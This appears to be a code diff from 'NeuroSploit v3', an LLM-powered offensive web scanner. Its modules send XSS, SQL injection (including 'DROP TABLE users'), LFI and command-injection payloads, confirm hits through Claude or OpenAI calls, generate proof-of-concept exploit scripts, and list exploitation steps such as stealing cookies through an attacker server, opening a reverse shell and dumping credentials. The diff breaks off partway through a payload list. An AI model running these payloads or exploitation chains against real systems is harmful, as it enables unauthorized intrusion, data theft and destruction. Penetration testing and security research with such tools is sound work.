except Exception as e:
await self.log("debug", f"LLM strategy error: {e}")
return default_strategy
async def _get_smart_payloads(self, endpoint: str, vuln_type: str) -> List[str]:
"""Get context-aware payloads from LLM"""
base = self.base_payloads.get(vuln_type, [])
if not self.llm_manager:
return base
try:
# Get endpoint context
params = self.state.discovered_params.get(endpoint, [])
techs = self.state.technologies
prompt = f"""Generate 3 specialized {vuln_type.upper()} payloads for this context:
Endpoint: {endpoint}
Parameters: {params}
Technologies: {techs}
WAF detected: {self.state.waf_detected} ({self.state.waf_type})
Requirements:
1. Payloads should be tailored to the detected technologies
2. If WAF detected, use evasion techniques
3. Include both basic and advanced payloads
Return ONLY a JSON array of payload strings.
Example: ["payload1", "payload2", "payload3"]"""
response = self.llm_manager.generate(prompt, "You are a security researcher. Generate effective but safe test payloads.")
try:
match = re.search(r'\[.*?\]', response, re.DOTALL)
if match:
smart_payloads = json.loads(match.group())
if isinstance(smart_payloads, list):
return smart_payloads + base
except:
pass
except Exception as e:
await self.log("debug", f"Smart payload error: {e}")
return base
async def _test_and_verify(self, endpoint: str, vuln_type: str, payload: str) -> Optional[Dict]:
"""Test a payload and use LLM to verify if it's a real vulnerability"""
try:
# Prepare request
parsed = urlparse(endpoint)
base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
# Build params with payload
params = {}
if parsed.query:
for p in parsed.query.split("&"):
if "=" in p:
k, v = p.split("=", 1)
params[k] = payload
else:
test_params = self.state.discovered_params.get(endpoint, []) or ["id", "q", "search"]
for p in test_params[:3]:
params[p] = payload
# Send request
async with self.session.get(base_url, params=params, allow_redirects=False) as resp:
body = await resp.text()
status = resp.status
headers = dict(resp.headers)
# Build raw request for logging
raw_request = f"GET {resp.url}\n"
raw_request += "\n".join([f"{k}: {v}" for k, v in self.auth_headers.items()])
# First, do quick checks for obvious indicators
quick_result = self._quick_vuln_check(vuln_type, payload, body, status, headers)
if not quick_result.get("possible"):
return None
# If possible vulnerability, use LLM to confirm
if self.llm_manager:
confirmation = await self._llm_confirm_vulnerability(
vuln_type, payload, body[:3000], status, headers, endpoint
)
if confirmation.get("confirmed"):
return {
"confirmed": True,
"evidence": confirmation.get("evidence", quick_result.get("evidence", "")),
"exploitable": confirmation.get("exploitable", False),
"confidence": confirmation.get("confidence", "medium"),
"analysis": confirmation.get("analysis", ""),
"request": raw_request,
"response": body[:2000],
}
else:
# No LLM, use quick check result
if quick_result.get("high_confidence"):
return {
"confirmed": True,
"evidence": quick_result.get("evidence", ""),
"exploitable": True,
"confidence": "medium",
"analysis": "Confirmed by response analysis (no LLM)",
"request": raw_request,
"response": body[:2000],
}
except asyncio.TimeoutError:
if vuln_type == "sqli":
return {
"confirmed": True,
"evidence": "Request timeout - possible time-based SQL injection",
"exploitable": True,
"confidence": "medium",
"analysis": "Time-based blind SQLi detected",
}
except Exception as e:
await self.log("debug", f"Test error: {e}")
return None
def _quick_vuln_check(self, vuln_type: str, payload: str, body: str, status: int, headers: Dict) -> Dict:
"""Quick vulnerability check without LLM"""
result = {"possible": False, "high_confidence": False, "evidence": ""}
body_lower = body.lower()
if vuln_type == "xss":
# Check for exact payload reflection (unencoded)
if payload in body and "<" in payload:
result["possible"] = True
result["evidence"] = "XSS payload reflected without encoding"
# High confidence only if script tags execute
if "<script>" in payload.lower() and payload.lower() in body_lower:
result["high_confidence"] = True
elif vuln_type == "sqli":
sql_errors = [
"sql syntax", "mysql_", "sqlite_", "pg_query", "ora-",
"unterminated", "query failed", "database error",
"you have an error in your sql", "warning: mysql",
]
for error in sql_errors:
if error in body_lower:
result["possible"] = True
result["high_confidence"] = True
result["evidence"] = f"SQL error: {error}"
break
elif vuln_type == "lfi":
lfi_indicators = ["root:x:", "root:*:", "[boot loader]", "daemon:", "/bin/bash"]
for indicator in lfi_indicators:
if indicator.lower() in body_lower:
result["possible"] = True
result["high_confidence"] = True
result["evidence"] = f"File content: {indicator}"
break
elif vuln_type == "ssti":
if "49" in body and "7*7" in payload:
result["possible"] = True
result["high_confidence"] = True
result["evidence"] = "SSTI: 7*7=49 evaluated"
elif vuln_type == "rce":
rce_indicators = ["uid=", "gid=", "groups=", "/bin/", "/usr/"]
for indicator in rce_indicators:
if indicator in body_lower:
result["possible"] = True
result["high_confidence"] = True
result["evidence"] = f"Command output: {indicator}"
break
elif vuln_type == "ssrf":
ssrf_indicators = ["root:", "localhost", "internal", "meta-data", "169.254"]
for indicator in ssrf_indicators:
if indicator in body_lower:
result["possible"] = True
result["evidence"] = f"Internal content: {indicator}"
break
return result
async def _llm_confirm_vulnerability(
self, vuln_type: str, payload: str, body: str, status: int, headers: Dict, endpoint: str
) -> Dict:
"""Use LLM to confirm if a vulnerability is real"""
prompt = f"""Analyze this HTTP response to determine if there is a REAL {vuln_type.upper()} vulnerability.
IMPORTANT: Only confirm if you are CERTAIN. Avoid false positives.
Endpoint: {endpoint}
Payload sent: {payload}
HTTP Status: {status}
Response headers: {json.dumps(dict(list(headers.items())[:10]))}
Response body (truncated): {body[:2000]}
Analyze and respond with JSON:
{{
"confirmed": true/false,
"confidence": "high"/"medium"/"low",
"evidence": "specific evidence from response",
"exploitable": true/false,
"analysis": "brief explanation"
}}
CRITICAL RULES:
1. For XSS: Payload must be reflected WITHOUT encoding in a context where it executes
2. For SQLi: Must see actual SQL error messages, not just reflected input
3. For LFI: Must see actual file contents (like /etc/passwd)
4. For SSTI: Math expressions must be EVALUATED (49 for 7*7)
5. For RCE: Must see command output (uid=, /bin/, etc.)
If uncertain, set confirmed=false. Better to miss a vuln than report false positive."""
try:
response = self.llm_manager.generate(
prompt,
"You are a security expert. Analyze HTTP responses to confirm vulnerabilities. Be precise and avoid false positives."
)
# Parse JSON response
match = re.search(r'\{.*?\}', response, re.DOTALL)
if match:
result = json.loads(match.group())
return result
except Exception as e:
await self.log("debug", f"LLM confirmation error: {e}")
return {"confirmed": False}
def _get_severity(self, vuln_type: str) -> str:
"""Get severity based on vulnerability type"""
severity_map = {
"rce": "critical",
"sqli": "critical",
"ssti": "critical",
"lfi": "high",
"ssrf": "high",
"xss": "high",
"xxe": "high",
"idor": "medium",
"open_redirect": "medium",
}
return severity_map.get(vuln_type, "medium")
def _get_impact(self, vuln_type: str) -> str:
"""Get impact description"""
impact_map = {
"rce": "Remote Code Execution - Full server compromise",
"sqli": "SQL Injection - Database compromise, data theft",
"ssti": "Server-Side Template Injection - RCE possible",
"lfi": "Local File Inclusion - Sensitive data exposure",
"ssrf": "Server-Side Request Forgery - Internal network access",
"xss": "Cross-Site Scripting - Session hijacking",
"xxe": "XML External Entity - Data theft, SSRF",
"idor": "Insecure Direct Object Reference - Data access",
"open_redirect": "Open Redirect - Phishing attacks",
}
return impact_map.get(vuln_type, "Security vulnerability")
async def _exploitation_phase(self):
"""Generate PoC code for confirmed vulnerabilities"""
await self.log("info", f" Generating PoC for {len(self.state.findings)} confirmed vulnerabilities...")
for finding in self.state.findings:
if finding.exploitable:
poc = await self._generate_poc(finding)
finding.poc_code = poc
finding.exploitation_steps = self._get_exploitation_steps(finding)
await self.log("info", f" PoC generated for {finding.vuln_type}")
async def _generate_poc(self, finding: Finding) -> str:
"""Generate PoC code using LLM if available"""
if self.llm_manager:
try:
prompt = f"""Generate a Python proof-of-concept exploit for this vulnerability:
Type: {finding.vuln_type}
Endpoint: {finding.endpoint}
Payload: {finding.payload}
Evidence: {finding.evidence}
Create a working Python script that:
1. Demonstrates the vulnerability
2. Includes proper error handling
3. Has comments explaining each step
4. Is safe to run (no destructive actions)
Return ONLY the Python code, no explanations."""
response = self.llm_manager.generate(prompt, "You are a security researcher. Generate safe, educational PoC code.")
# Extract code block
code_match = re.search(r'```python\n(.*?)```', response, re.DOTALL)
if code_match:
return code_match.group(1)
elif "import" in response:
return response
except Exception as e:
await self.log("debug", f"PoC generation error: {e}")
# Fallback to template
return self._get_poc_template(finding)
def _get_poc_template(self, finding: Finding) -> str:
"""Get PoC template for a vulnerability"""
return f'''#!/usr/bin/env python3
"""
{finding.vuln_type.upper()} Proof of Concept
Target: {finding.endpoint}
Generated by NeuroSploit AI Agent
"""
import requests
def exploit():
url = "{finding.endpoint}"
payload = "{finding.payload}"
response = requests.get(url, params={{"test": payload}})
print(f"Status: {{response.status_code}}")
print(f"Vulnerable: {{{repr(finding.evidence)}}} in response.text")
if __name__ == "__main__":
exploit()
'''
def _get_exploitation_steps(self, finding: Finding) -> List[str]:
"""Get exploitation steps for a vulnerability"""
steps_map = {
"xss": [
"1. Confirm XSS with alert(document.domain)",
"2. Craft cookie stealing payload",
"3. Host attacker server to receive cookies",
"4. Send malicious link to victim",
],
"sqli": [
"1. Confirm injection with error-based payloads",
"2. Enumerate database with UNION SELECT",
"3. Extract table names from information_schema",
"4. Dump sensitive data (credentials, PII)",
],
"lfi": [
"1. Confirm LFI with /etc/passwd",
"2. Read application source code",
"3. Extract credentials from config files",
"4. Attempt log poisoning for RCE",
],
"rce": [
"1. CRITICAL - Confirm command execution",
"2. Establish reverse shell",
"3. Enumerate system and network",
"4. Escalate privileges",
],
}
return steps_map.get(finding.vuln_type, ["1. Investigate further", "2. Attempt exploitation"])
async def _chaining_phase(self):
"""Analyze potential attack chains"""
await self.log("info", " Analyzing attack chain possibilities...")
vuln_types = [f.vuln_type for f in self.state.findings]
if "xss" in vuln_types:
await self.log("info", " Chain: XSS -> Session Hijacking -> Account Takeover")
if "sqli" in vuln_types:
await self.log("info", " Chain: SQLi -> Data Extraction -> Credential Theft")
if "lfi" in vuln_types:
await self.log("info", " Chain: SQLi + LFI -> Database File Read -> RCE via INTO OUTFILE")
if "ssrf" in vuln_types:
await self.log("info", " Chain: SSRF -> Cloud Metadata -> AWS Keys -> Full Compromise")
async def _generate_report(self) -> Dict[str, Any]:
"""Generate comprehensive report"""
report = {
"target": self.target,
"scan_date": datetime.utcnow().isoformat(),
"agent": "NeuroSploit AI Agent v3",
"mode": "LLM-powered intelligent testing",
"llm_enabled": self.llm_manager is not None,
"summary": {
"total_endpoints": len(self.state.discovered_endpoints),
"total_parameters": sum(len(v) for v in self.state.discovered_params.values()),
"total_vulnerabilities": len(self.state.findings),
"critical": len([f for f in self.state.findings if f.severity == "critical"]),
"high": len([f for f in self.state.findings if f.severity == "high"]),
"medium": len([f for f in self.state.findings if f.severity == "medium"]),
"low": len([f for f in self.state.findings if f.severity == "low"]),
"technologies": self.state.technologies,
},
"findings": [],
"recommendations": [],
}
for finding in self.state.findings:
report["findings"].append({
"type": finding.vuln_type,
"severity": finding.severity,
"confidence": finding.confidence,
"endpoint": finding.endpoint,
"payload": finding.payload,
"evidence": finding.evidence,
"impact": finding.impact,
"exploitable": finding.exploitable,
"exploitation_steps": finding.exploitation_steps,
"poc_code": finding.poc_code,
"llm_analysis": finding.llm_analysis,
})
# Log summary
await self.log("info", "=" * 60)
await self.log("info", "REPORT SUMMARY")
await self.log("info", "=" * 60)
await self.log("info", f"Confirmed Vulnerabilities: {len(self.state.findings)}")
await self.log("info", f" Critical: {report['summary']['critical']}")
await self.log("info", f" High: {report['summary']['high']}")
await self.log("info", f" Medium: {report['summary']['medium']}")
for finding in self.state.findings:
await self.log("warning", f" [{finding.severity.upper()}] {finding.vuln_type}: {finding.endpoint[:50]}")
return report
+553
View File
@@ -0,0 +1,553 @@
"""
NeuroSploit v3 - AI-Powered Prompt Processor
Uses Claude/OpenAI to intelligently analyze prompts and determine:
1. What vulnerabilities to test
2. Testing strategy and depth
3. Custom payloads based on context
4. Dynamic analysis based on recon results
"""
import os
import json
import asyncio
from typing import List, Dict, Any, Optional
from dataclasses import dataclass
@dataclass
class TestingPlan:
"""AI-generated testing plan"""
vulnerability_types: List[str]
testing_focus: List[str]
custom_payloads: List[str]
testing_depth: str
specific_endpoints: List[str]
bypass_techniques: List[str]
priority_order: List[str]
ai_reasoning: str
class AIPromptProcessor:
"""
Uses LLM (Claude/OpenAI) to process prompts and generate intelligent testing plans.
NOT limited to predefined vulnerability types - the AI decides what to test.
"""
def __init__(self):
self.anthropic_key = os.environ.get("ANTHROPIC_API_KEY", "")
self.openai_key = os.environ.get("OPENAI_API_KEY", "")
async def process_prompt(
self,
prompt: str,
recon_data: Optional[Dict] = None,
target_info: Optional[Dict] = None
) -> TestingPlan:
"""
Process a user prompt with AI to generate a testing plan.
Args:
prompt: User's testing prompt/instructions
recon_data: Results from reconnaissance phase
target_info: Information about the target
Returns:
TestingPlan with AI-determined testing strategy
"""
# Build context for the AI
context = self._build_context(prompt, recon_data, target_info)
# Try Claude first, then OpenAI
if self.anthropic_key:
return await self._process_with_claude(context)
elif self.openai_key:
return await self._process_with_openai(context)
else:
# Fallback to intelligent defaults based on prompt analysis
return await self._intelligent_fallback(prompt, recon_data)
def _build_context(
self,
prompt: str,
recon_data: Optional[Dict],
target_info: Optional[Dict]
) -> str:
"""Build comprehensive context for the AI"""
context_parts = [
"You are an expert penetration tester analyzing a target.",
f"\n## User's Testing Request:\n{prompt}",
]
if target_info:
context_parts.append(f"\n## Target Information:\n{json.dumps(target_info, indent=2)}")
if recon_data:
# Summarize recon data
summary = {
"subdomains_count": len(recon_data.get("subdomains", [])),
"live_hosts": recon_data.get("live_hosts", [])[:10],
"endpoints_count": len(recon_data.get("endpoints", [])),
"sample_endpoints": [e.get("url", e) if isinstance(e, dict) else e for e in recon_data.get("endpoints", [])[:20]],
"urls_with_params": [u for u in recon_data.get("urls", []) if "?" in str(u)][:10],
"open_ports": recon_data.get("ports", [])[:20],
"technologies": recon_data.get("technologies", []),
"interesting_paths": recon_data.get("interesting_paths", []),
"js_files": recon_data.get("js_files", [])[:10],
"nuclei_findings": recon_data.get("vulnerabilities", [])
}
context_parts.append(f"\n## Reconnaissance Results:\n{json.dumps(summary, indent=2)}")
context_parts.append("""
## Your Task:
Based on the user's request and the reconnaissance data, create a comprehensive testing plan.
You are NOT limited to specific vulnerability types - analyze the context and determine what to test.
Consider:
1. What the user specifically asked for
2. What the recon data reveals (technologies, endpoints, parameters)
3. Common vulnerabilities for the detected tech stack
4. Any interesting findings that warrant deeper testing
5. OWASP Top 10 and beyond based on context
Respond with a JSON object containing:
{
"vulnerability_types": ["list of specific vulnerability types to test"],
"testing_focus": ["specific areas to focus on based on findings"],
"custom_payloads": ["any custom payloads based on detected technologies"],
"testing_depth": "quick|medium|thorough",
"specific_endpoints": ["high-priority endpoints to test first"],
"bypass_techniques": ["WAF/filter bypass techniques if applicable"],
"priority_order": ["ordered list of what to test first"],
"ai_reasoning": "brief explanation of why you chose this testing strategy"
}
""")
return "\n".join(context_parts)
async def _process_with_claude(self, context: str) -> TestingPlan:
"""Process with Claude API"""
try:
import httpx
async with httpx.AsyncClient(timeout=60.0) as client:
response = await client.post(
"https://api.anthropic.com/v1/messages",
headers={
"x-api-key": self.anthropic_key,
"anthropic-version": "2023-06-01",
"content-type": "application/json"
},
json={
"model": "claude-sonnet-4-20250514",
"max_tokens": 4096,
"messages": [
{"role": "user", "content": context}
]
}
)
if response.status_code == 200:
data = response.json()
content = data.get("content", [{}])[0].get("text", "{}")
# Extract JSON from response
return self._parse_ai_response(content)
else:
print(f"Claude API error: {response.status_code}")
return await self._intelligent_fallback(context, None)
except Exception as e:
print(f"Claude processing error: {e}")
return await self._intelligent_fallback(context, None)
async def _process_with_openai(self, context: str) -> TestingPlan:
"""Process with OpenAI API"""
try:
import httpx
async with httpx.AsyncClient(timeout=60.0) as client:
response = await client.post(
"https://api.openai.com/v1/chat/completions",
headers={
"Authorization": f"Bearer {self.openai_key}",
"Content-Type": "application/json"
},
json={
"model": "gpt-4o",
"messages": [
{"role": "system", "content": "You are an expert penetration tester. Respond only with valid JSON."},
{"role": "user", "content": context}
],
"max_tokens": 4096,
"temperature": 0.3
}
)
if response.status_code == 200:
data = response.json()
content = data.get("choices", [{}])[0].get("message", {}).get("content", "{}")
return self._parse_ai_response(content)
else:
print(f"OpenAI API error: {response.status_code}")
return await self._intelligent_fallback(context, None)
except Exception as e:
print(f"OpenAI processing error: {e}")
return await self._intelligent_fallback(context, None)
def _parse_ai_response(self, content: str) -> TestingPlan:
"""Parse AI response into TestingPlan"""
try:
# Try to extract JSON from the response
import re
json_match = re.search(r'\{[\s\S]*\}', content)
if json_match:
data = json.loads(json_match.group())
return TestingPlan(
vulnerability_types=data.get("vulnerability_types", []),
testing_focus=data.get("testing_focus", []),
custom_payloads=data.get("custom_payloads", []),
testing_depth=data.get("testing_depth", "medium"),
specific_endpoints=data.get("specific_endpoints", []),
bypass_techniques=data.get("bypass_techniques", []),
priority_order=data.get("priority_order", []),
ai_reasoning=data.get("ai_reasoning", "AI-generated testing plan")
)
except Exception as e:
print(f"Failed to parse AI response: {e}")
return self._default_plan()
async def _intelligent_fallback(self, prompt: str, recon_data: Optional[Dict]) -> TestingPlan:
"""
Intelligent fallback when no API key is available.
Still provides smart testing plan based on prompt and recon analysis.
"""
prompt_lower = prompt.lower()
vuln_types = []
focus = []
priority = []
# Analyze prompt for specific requests
if any(word in prompt_lower for word in ["xss", "cross-site", "script"]):
vuln_types.extend(["xss_reflected", "xss_stored", "xss_dom"])
priority.append("XSS Testing")
if any(word in prompt_lower for word in ["sql", "injection", "database", "sqli"]):
vuln_types.extend(["sqli_error", "sqli_blind", "sqli_time", "sqli_union"])
priority.append("SQL Injection")
if any(word in prompt_lower for word in ["command", "rce", "exec", "shell"]):
vuln_types.extend(["command_injection", "rce", "os_injection"])
priority.append("Command Injection")
if any(word in prompt_lower for word in ["file", "lfi", "rfi", "path", "traversal", "include"]):
vuln_types.extend(["lfi", "rfi", "path_traversal"])
priority.append("File Inclusion")
if any(word in prompt_lower for word in ["ssrf", "request forgery", "server-side"]):
vuln_types.extend(["ssrf", "ssrf_cloud"])
priority.append("SSRF")
if any(word in prompt_lower for word in ["auth", "login", "password", "session", "jwt", "token"]):
vuln_types.extend(["auth_bypass", "session_fixation", "jwt_manipulation", "brute_force"])
priority.append("Authentication Testing")
if any(word in prompt_lower for word in ["idor", "authorization", "access control", "privilege"]):
vuln_types.extend(["idor", "bola", "privilege_escalation"])
priority.append("Authorization Testing")
if any(word in prompt_lower for word in ["api", "rest", "graphql", "endpoint"]):
vuln_types.extend(["api_abuse", "mass_assignment", "rate_limiting", "graphql_introspection"])
priority.append("API Security")
if any(word in prompt_lower for word in ["cors", "header", "security header"]):
vuln_types.extend(["cors_misconfiguration", "missing_security_headers"])
priority.append("Headers & CORS")
if any(word in prompt_lower for word in ["upload", "file upload"]):
vuln_types.extend(["file_upload", "unrestricted_upload"])
priority.append("File Upload Testing")
if any(word in prompt_lower for word in ["redirect", "open redirect"]):
vuln_types.extend(["open_redirect"])
priority.append("Open Redirect")
if any(word in prompt_lower for word in ["ssti", "template"]):
vuln_types.extend(["ssti"])
priority.append("SSTI")
if any(word in prompt_lower for word in ["xxe", "xml"]):
vuln_types.extend(["xxe"])
priority.append("XXE")
if any(word in prompt_lower for word in ["deserialization", "serialize"]):
vuln_types.extend(["insecure_deserialization"])
priority.append("Deserialization")
# If prompt mentions comprehensive/full/all/everything
if any(word in prompt_lower for word in ["comprehensive", "full", "all", "everything", "complete", "pentest", "assessment"]):
vuln_types = list(set(vuln_types + [
"xss_reflected", "xss_stored", "sqli_error", "sqli_blind",
"command_injection", "lfi", "path_traversal", "ssrf",
"auth_bypass", "idor", "cors_misconfiguration", "open_redirect",
"ssti", "file_upload", "xxe", "missing_security_headers"
]))
focus.append("Comprehensive security assessment")
# OWASP Top 10 focus
if "owasp" in prompt_lower:
vuln_types = list(set(vuln_types + [
"sqli_error", "xss_reflected", "auth_bypass", "idor",
"security_misconfiguration", "sensitive_data_exposure",
"xxe", "insecure_deserialization", "missing_security_headers",
"ssrf"
]))
focus.append("OWASP Top 10 Coverage")
# Bug bounty focus
if any(word in prompt_lower for word in ["bounty", "bug bounty", "high impact"]):
vuln_types = list(set(vuln_types + [
"sqli_error", "xss_stored", "rce", "ssrf", "idor",
"auth_bypass", "privilege_escalation"
]))
focus.append("High-impact vulnerabilities for bug bounty")
# Analyze recon data if available
if recon_data:
endpoints = recon_data.get("endpoints", [])
urls = recon_data.get("urls", [])
techs = recon_data.get("technologies", [])
# Check for parameters (injection points)
param_urls = [u for u in urls if "?" in str(u)]
if param_urls:
focus.append(f"Found {len(param_urls)} URLs with parameters - test for injection")
if "sqli_error" not in vuln_types:
vuln_types.append("sqli_error")
if "xss_reflected" not in vuln_types:
vuln_types.append("xss_reflected")
# Check for interesting paths
interesting = recon_data.get("interesting_paths", [])
if interesting:
focus.append(f"Found {len(interesting)} interesting paths to investigate")
# Check for JS files (DOM XSS potential)
js_files = recon_data.get("js_files", [])
if js_files:
focus.append(f"Found {len(js_files)} JS files - check for DOM XSS and secrets")
if "xss_dom" not in vuln_types:
vuln_types.append("xss_dom")
# Technology-specific testing
tech_str = str(techs).lower()
if "php" in tech_str:
vuln_types = list(set(vuln_types + ["lfi", "rfi", "file_upload"]))
if "wordpress" in tech_str:
focus.append("WordPress detected - test for WP-specific vulns")
if "java" in tech_str or "spring" in tech_str:
vuln_types = list(set(vuln_types + ["ssti", "insecure_deserialization"]))
if "node" in tech_str or "express" in tech_str:
vuln_types = list(set(vuln_types + ["prototype_pollution", "ssti"]))
if "api" in tech_str or "json" in tech_str:
vuln_types = list(set(vuln_types + ["api_abuse", "mass_assignment"]))
# Default if nothing specific found
if not vuln_types:
vuln_types = [
"xss_reflected", "sqli_error", "lfi", "open_redirect",
"cors_misconfiguration", "missing_security_headers"
]
focus.append("General security assessment")
return TestingPlan(
vulnerability_types=vuln_types,
testing_focus=focus if focus else ["General vulnerability testing"],
custom_payloads=[],
testing_depth="medium",
specific_endpoints=[],
bypass_techniques=[],
priority_order=priority if priority else vuln_types[:5],
ai_reasoning="Intelligent fallback analysis based on prompt keywords and recon data"
)
def _default_plan(self) -> TestingPlan:
"""Default testing plan"""
return TestingPlan(
vulnerability_types=[
"xss_reflected", "sqli_error", "sqli_blind", "command_injection",
"lfi", "path_traversal", "ssrf", "auth_bypass", "idor",
"cors_misconfiguration", "open_redirect", "missing_security_headers"
],
testing_focus=["Comprehensive vulnerability assessment"],
custom_payloads=[],
testing_depth="medium",
specific_endpoints=[],
bypass_techniques=[],
priority_order=["SQL Injection", "XSS", "Command Injection", "Authentication"],
ai_reasoning="Default comprehensive testing plan"
)
class AIVulnerabilityAnalyzer:
"""
Uses AI to analyze potential vulnerabilities found during testing.
Provides intelligent confirmation and exploitation guidance.
"""
def __init__(self):
self.anthropic_key = os.environ.get("ANTHROPIC_API_KEY", "")
self.openai_key = os.environ.get("OPENAI_API_KEY", "")
async def analyze_finding(
self,
vuln_type: str,
request: Dict,
response: Dict,
payload: str,
context: Optional[Dict] = None
) -> Dict[str, Any]:
"""
Use AI to analyze a potential vulnerability finding.
Returns confidence level, exploitation advice, and remediation.
"""
if not self.anthropic_key and not self.openai_key:
return self._basic_analysis(vuln_type, request, response, payload)
prompt = f"""
Analyze this potential security vulnerability:
**Vulnerability Type**: {vuln_type}
**Payload Used**: {payload}
**Request**: {json.dumps(request, indent=2)[:1000]}
**Response Status**: {response.get('status')}
**Response Body Preview**: {response.get('body_preview', '')[:500]}
Analyze and respond with JSON:
{{
"is_vulnerable": true/false,
"confidence": 0.0-1.0,
"evidence": "specific evidence from response",
"severity": "critical/high/medium/low/info",
"exploitation_path": "how to exploit if vulnerable",
"remediation": "how to fix",
"false_positive_indicators": ["reasons this might be false positive"]
}}
"""
try:
if self.anthropic_key:
return await self._analyze_with_claude(prompt)
elif self.openai_key:
return await self._analyze_with_openai(prompt)
except Exception as e:
print(f"AI analysis error: {e}")
return self._basic_analysis(vuln_type, request, response, payload)
async def _analyze_with_claude(self, prompt: str) -> Dict:
"""Analyze with Claude"""
import httpx
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
"https://api.anthropic.com/v1/messages",
headers={
"x-api-key": self.anthropic_key,
"anthropic-version": "2023-06-01",
"content-type": "application/json"
},
json={
"model": "claude-sonnet-4-20250514",
"max_tokens": 1024,
"messages": [{"role": "user", "content": prompt}]
}
)
if response.status_code == 200:
data = response.json()
content = data.get("content", [{}])[0].get("text", "{}")
import re
json_match = re.search(r'\{[\s\S]*\}', content)
if json_match:
return json.loads(json_match.group())
return {}
async def _analyze_with_openai(self, prompt: str) -> Dict:
"""Analyze with OpenAI"""
import httpx
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
"https://api.openai.com/v1/chat/completions",
headers={
"Authorization": f"Bearer {self.openai_key}",
"Content-Type": "application/json"
},
json={
"model": "gpt-4o",
"messages": [
{"role": "system", "content": "You are a security expert. Respond only with valid JSON."},
{"role": "user", "content": prompt}
],
"max_tokens": 1024
}
)
if response.status_code == 200:
data = response.json()
content = data.get("choices", [{}])[0].get("message", {}).get("content", "{}")
import re
json_match = re.search(r'\{[\s\S]*\}', content)
if json_match:
return json.loads(json_match.group())
return {}
def _basic_analysis(self, vuln_type: str, request: Dict, response: Dict, payload: str) -> Dict:
"""Basic analysis without AI"""
body = response.get("body_preview", "").lower()
status = response.get("status", 0)
is_vulnerable = False
confidence = 0.0
evidence = ""
# Basic detection patterns
if vuln_type in ["xss_reflected", "xss_stored"]:
if payload.lower() in body:
is_vulnerable = True
confidence = 0.7
evidence = f"Payload reflected in response"
elif vuln_type in ["sqli_error", "sqli_blind"]:
error_patterns = ["sql", "mysql", "syntax", "query", "oracle", "postgresql", "sqlite"]
if any(p in body for p in error_patterns):
is_vulnerable = True
confidence = 0.8
evidence = "SQL error message detected"
elif vuln_type == "lfi":
if "root:" in body or "[extensions]" in body:
is_vulnerable = True
confidence = 0.9
evidence = "File content detected in response"
elif vuln_type == "open_redirect":
if status in [301, 302, 303, 307, 308]:
is_vulnerable = True
confidence = 0.6
evidence = "Redirect detected"
return {
"is_vulnerable": is_vulnerable,
"confidence": confidence,
"evidence": evidence,
"severity": "medium",
"exploitation_path": "",
"remediation": "",
"false_positive_indicators": []
}
File diff suppressed because it is too large Load Diff
+951
View File
@@ -0,0 +1,951 @@
"""
NeuroSploit v3 - Autonomous Scanner
This module performs autonomous endpoint discovery and vulnerability testing
when reconnaissance finds little or nothing. It actively:
1. Bruteforces directories using ffuf/gobuster/feroxbuster
2. Crawls the site aggressively
3. Tests common vulnerable endpoints
4. Generates test cases based on common patterns
5. Adapts based on what it discovers
GLOBAL AUTHORIZATION:
This tool is designed for authorized penetration testing only.
All tests are performed with explicit authorization from the target owner.
"""
import asyncio
import aiohttp
import subprocess
import json
import re
import os
from typing import Dict, List, Any, Optional, Callable
from urllib.parse import urljoin, urlparse, parse_qs, urlencode
from dataclasses import dataclass, field
from datetime import datetime
@dataclass
class DiscoveredEndpoint:
"""Represents a discovered endpoint"""
url: str
method: str = "GET"
status_code: int = 0
content_type: str = ""
content_length: int = 0
parameters: List[str] = field(default_factory=list)
source: str = "discovery" # How it was discovered
interesting: bool = False # Potentially vulnerable
@dataclass
class TestResult:
"""Result of a vulnerability test"""
endpoint: str
vuln_type: str
payload: str
is_vulnerable: bool
confidence: float
evidence: str
request: Dict
response: Dict
class AutonomousScanner:
"""
Autonomous vulnerability scanner that actively discovers and tests endpoints.
Works independently of reconnaissance - if recon fails, this scanner will:
1. Crawl the target site
2. Discover directories via bruteforce
3. Find parameters and endpoints
4. Test all discovered points for vulnerabilities
"""
# Common vulnerable endpoints to always test
COMMON_ENDPOINTS = [
# Login/Auth
"/login", "/signin", "/auth", "/admin", "/admin/login", "/wp-admin",
"/user/login", "/account/login", "/administrator",
# API endpoints
"/api", "/api/v1", "/api/v2", "/api/users", "/api/user",
"/api/login", "/api/auth", "/api/token", "/graphql",
# File operations
"/upload", "/download", "/file", "/files", "/documents",
"/images", "/media", "/assets", "/static",
# Common vulnerable paths
"/search", "/query", "/find", "/lookup",
"/include", "/page", "/view", "/show", "/display",
"/read", "/load", "/fetch", "/get",
# Debug/Dev
"/debug", "/test", "/dev", "/staging",
"/phpinfo.php", "/.env", "/.git/config",
"/server-status", "/server-info",
# CMS specific
"/wp-content", "/wp-includes", "/xmlrpc.php",
"/joomla", "/drupal", "/magento",
# Config files
"/config.php", "/configuration.php", "/settings.php",
"/web.config", "/config.xml", "/config.json",
# Backup files
"/backup", "/backup.sql", "/dump.sql",
"/db.sql", "/database.sql",
]
# Common parameters to test
COMMON_PARAMS = [
"id", "page", "file", "path", "url", "redirect", "next",
"query", "search", "q", "s", "keyword", "term",
"user", "username", "name", "email", "login",
"cat", "category", "item", "product", "article",
"action", "cmd", "command", "exec", "run",
"template", "tpl", "theme", "lang", "language",
"sort", "order", "orderby", "filter",
"callback", "jsonp", "format", "type",
"debug", "test", "demo", "preview",
]
# XSS test payloads
XSS_PAYLOADS = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"'\"><script>alert('XSS')</script>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<body onload=alert('XSS')>",
"'-alert('XSS')-'",
"\"><img src=x onerror=alert('XSS')>",
]
# SQLi test payloads
SQLI_PAYLOADS = [
"'", "\"", "' OR '1'='1", "\" OR \"1\"=\"1",
"' OR 1=1--", "\" OR 1=1--", "1' AND '1'='1",
"'; DROP TABLE users--", "1; SELECT * FROM users",
"' UNION SELECT NULL--", "' UNION SELECT 1,2,3--",
"1' AND SLEEP(5)--", "1'; WAITFOR DELAY '0:0:5'--",
"admin'--", "admin' #", "admin'/*",
]
# LFI test payloads
LFI_PAYLOADS = [
"../../../etc/passwd",
"....//....//....//etc/passwd",
"/etc/passwd",
"..\\..\\..\\windows\\win.ini",
"file:///etc/passwd",
"/proc/self/environ",
"php://filter/convert.base64-encode/resource=index.php",
"php://input",
"expect://id",
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==",
]
# Command injection payloads
